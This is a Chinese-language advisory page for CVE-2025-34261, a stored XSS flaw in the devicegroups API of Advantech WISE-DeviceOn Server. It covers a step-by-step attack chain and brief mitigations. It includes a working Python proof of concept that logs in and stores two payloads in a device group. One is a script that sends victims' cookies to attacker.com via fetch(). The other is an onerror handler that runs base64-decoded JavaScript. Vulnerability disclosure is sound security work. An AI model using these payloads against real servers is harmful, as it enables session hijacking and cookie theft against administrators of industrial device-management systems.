IPBUF安全漏洞报告
English
CVE-2025-34261 CVSS 5.4 中危

CVE-2025-34261: Advantech WISE-DeviceOn Server 存储型XSS漏洞

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-34261
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Advantech WISE-DeviceOn Server

相关标签

存储型XSS跨站脚本AdvantechWISE-DeviceOnIoT设备管理CVE-2025-34261会话劫持设备组端点工业物联网

漏洞概述

Advantech WISE-DeviceOn Server是一款工业物联网设备管理服务器软件,广泛应用于制造业、能源和智能城市等领域。该软件提供设备监控、远程管理和批量配置等功能,帮助企业实现对大量物联网设备的集中管控。

此次发现的存储型跨站脚本漏洞存在于5.4版本之前的WISE-DeviceOn Server中,具体位于REST API的/rmm/v1/devicegroups/端点。该端点负责处理设备组的创建和管理操作,攻击者可以利用此漏洞在设备组的名称(name)或描述(description)字段中注入恶意的HTML/JavaScript代码。

由于应用程序在存储用户输入时未进行充分的输入验证和HTML转义处理,恶意脚本会被永久存储在服务器端。当其他认证用户访问设备组列表页面时,浏览器会解析并执行这些恶意脚本。由于攻击发生在已认证用户的浏览器上下文中,攻击者可以窃取用户的会话Cookie、劫持用户会话、执行任意操作,甚至进一步横向移动攻击其他系统。此漏洞需要低权限认证用户即可发起攻击,但需要诱导其他用户查看恶意内容才能触发执行。

技术细节

漏洞根源在于/rmm/v1/devicegroups/端点对用户输入的name和description字段缺乏严格的输入验证和输出编码。

**技术细节分析:**
1. **漏洞位置**: POST /rmm/v1/devicegroups/ API端点
2. **根本原因**: 存储型XSS - 用户输入未经过HTML实体编码直接存入数据库
3. **触发点**: 设备组列表页面渲染时,未对存储的数据进行HTML转义

**利用方式:**
1. 攻击者以低权限用户身份认证到WISE-DeviceOn Server
2. 构造恶意Payload注入到设备组的name或description字段
3. Payload随正常数据一同存储到后端数据库
4. 当其他用户访问设备组列表页面时,恶意脚本被浏览器解析执行
5. 攻击者可窃取受害者Cookie、进行CSRF攻击或执行其他恶意操作

**CVSS向量解读:**
- AV:N (网络): 攻击者可远程利用
- AC:L (低复杂度): 无特殊攻击条件要求
- PR:L (低权限): 只需普通用户账号
- UI:R (需要交互): 需要其他用户访问触发
- S:C (变更范围): 影响其他用户上下文

攻击链分析

STEP 1
信息收集
攻击者识别目标系统为Advantech WISE-DeviceOn Server,并探测到/rmm/v1/devicegroups/端点的存在
STEP 2
账户获取
攻击者获取或创建低权限用户账户,用于认证访问系统
STEP 3
恶意Payload构造
攻击者构造XSS恶意Payload,可使用<script>标签、事件处理器或SVG标签等方式注入JavaScript代码
STEP 4
漏洞利用-数据注入
通过POST请求将恶意Payload作为设备组名称或描述字段值发送到/rmm/v1/devicegroups/端点,Payload被永久存储到数据库
STEP 5
社会工程学攻击
攻击者诱导具有更高权限的目标用户访问设备组列表页面,或通过系统通知功能让受害者查看恶意内容
STEP 6
恶意代码执行
目标用户浏览器解析设备组页面时,未转义的恶意JavaScript代码被执行,攻击者成功窃取Cookie或执行其他操作
STEP 7
会话劫持
攻击者利用窃取的会话Cookie冒充目标用户身份,执行未授权操作或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-34261 PoC - Advantech WISE-DeviceOn Server Stored XSS # Target: /rmm/v1/devicegroups/ endpoint TARGET_URL = "https://target-server.com" LOGIN_URL = f"{TARGET_URL}/rmm/v1/auth/login" DEVICE_GROUPS_URL = f"{TARGET_URL}/rmm/v1/devicegroups/" # XSS Payload - Cookie Stealer XSS_PAYLOAD_NAME = "<script>fetch('https://attacker.com/log?c='+document.cookie)</script>" XSS_PAYLOAD_DESC = "<img src=x onerror='eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="))')>" def exploit(): """ Exploitation steps: 1. Authenticate with low-privilege credentials 2. Create device group with XSS payload in name/description 3. Payload stored and executed when other users view device groups """ session = requests.Session() # Step 1: Login with low-privilege user login_data = { "username": "attacker_user", "password": "attacker_password" } login_response = session.post(LOGIN_URL, json=login_data) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Create device group with XSS payload device_group_data = { "name": XSS_PAYLOAD_NAME, "description": XSS_PAYLOAD_DESC, "devices": [] } create_response = session.post(DEVICE_GROUPS_URL, json=device_group_data) if create_response.status_code in [200, 201]: print("[+] Malicious device group created successfully") print(f"[+] Payload will execute when other users view device groups") return True else: print(f"[-] Failed to create device group: {create_response.status_code}") return False if __name__ == "__main__": exploit()

影响范围

Advantech WISE-DeviceOn Server < 5.4

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制用户创建设备组的权限,仅允许管理员操作;2) 在Web应用防火墙(WAF)层面添加XSS过滤规则,拦截包含<script>标签和事件处理器属性的请求;3) 启用浏览器的XSS过滤器功能;4) 监控设备组相关API的异常访问日志;5) 提醒用户不要点击来源不明的设备组链接;6) 考虑临时禁用设备组功能直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表